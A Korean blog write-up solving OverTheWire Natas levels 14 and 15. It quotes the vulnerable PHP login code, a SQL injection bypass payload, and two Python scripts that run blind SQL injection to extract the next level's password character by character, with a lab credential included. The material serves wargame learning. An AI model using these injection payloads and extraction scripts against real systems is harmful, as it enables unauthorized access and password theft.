Natas14
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
소스 코드를 보면 쿼리가 있으면 그대로 값에 들어가는 걸 알 수 있다.
natas14" or 1=1 #
을 추가해서 # 이후 패스워드를 검사하지 않도록 처리하면 된다.


Natas15
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
$_REQUEST["username"]를 보면 값을 검증 없이 그대로 붙이고 있다.
또한 사용자가 맞으면 "This user exists."를 출력한다.
비밀번호를 알아내기 위해
natas16" and password LIKE BINARY "문자열
대입을 실시하면 된다.
여러 번 반복해야하기 때문에 python을 사용한다.
# uv를 사용했다.
uv init
uv add requests
# 아래의 파일을 main.py라는 이름으로 저장
uv run python main.py
먼저, 포함된 문자 찾기
import requests
import string
# 대상 URL
url = "http://natas15.natas.labs.overthewire.org/"
# 현재 레벨 로그인 정보
username = "natas15"
password = "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx"
# 검사할 전체 문자 집합
# string.digits -> 0123456789
# string.ascii_letters -> abcdef...ABCDEF...
characters = string.digits + string.ascii_letters
# 응답 본문에 이 문자열이 있으면 조건이 참이라는 뜻
exists_str = "This user exists."
# 비밀번호에 포함된 것으로 확인된 문자들을 저장
passchar = []
for c in characters:
# SQL injection payload
# 의미:
# username = "natas16" and password LIKE BINARY "%c%"
#
# 즉, natas16의 password 안에 현재 문자 c가 포함되어 있으면 참이 됩니다.
injected_username = f'natas16" and password LIKE BINARY "%{c}%'
# params를 사용하면 URL 인코딩을 requests가 처리해줍니다.
params = {
"username": injected_username,
"debug": ""
}
# Basic Auth로 natas15 계정 로그인
r = requests.get(url, params=params, auth=(username, password))
# 서버 응답에 특정 문구가 있으면 조건이 참
if exists_str in r.text:
passchar.append(c)
print(f"> 현재까지 확인된 문자: {''.join(passchar)}")
print(f"Character List: {''.join(passchar)}")
여기서 포함된 문자를 찾았다면 다시 순서대로 맞는지 검증한다
import requests
# 대상 URL
url = "http://natas15.natas.labs.overthewire.org/"
# 현재 레벨 로그인 정보
username = "natas15"
password = "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx"
# 조건이 참일 때 응답에 포함되는 문자열
exists_str = "This user exists."
# 1차 스크립트에서 얻어낸 "비밀번호에 포함된 문자 후보"
char_txt = "346cefhijkmostuvDEGKLMPQVWXY"
char_list = list(char_txt)
# 지금까지 맞춘 비밀번호 prefix
secret = ""
# Natas 비밀번호 길이는 보통 32자
for place in range(1, 33):
print(f"Character # {place}")
found = False
# 가능한 문자 후보를 하나씩 붙여보면서 검사
for char in char_list:
temp = secret + char
# 의미:
# username = "natas16" and password LIKE BINARY "temp%"
#
# 즉, natas16의 password가 temp로 시작하면 참
injected_username = f'natas16" and password LIKE BINARY "{temp}%'
params = {
"username": injected_username,
"debug": ""
}
r = requests.get(url, params=params, auth=(username, password))
if exists_str in r.text:
# 현재 문자까지 맞았으므로 prefix 확정
secret = temp
print(f"password prefix: {secret}")
found = True
break
if not found:
print(f"No matching character found for position {place}")
break
print(f"\n최종적으로 찾은 비밀번호: {secret}")
여기서 최종 비밀번호를 얻으면 된다.

'Security > OverTheWire' 카테고리의 다른 글
| Leviathan 0 1 2 (0) | 2026.03.16 |
|---|---|
| Natas 10 11 12 13 (파일 업로드 / 명령 실행 / injection) (0) | 2025.12.03 |
| Natas 5 6 7 8 9 (서버 요청/쿠키/필터 우회) (0) | 2025.12.03 |
| Natas 0 1 2 3 4 (기초적인 웹 구조) (0) | 2025.12.03 |
| Bandit Level 32 → Level 33, Bandit Level 33 → Level 34 (0) | 2025.12.02 |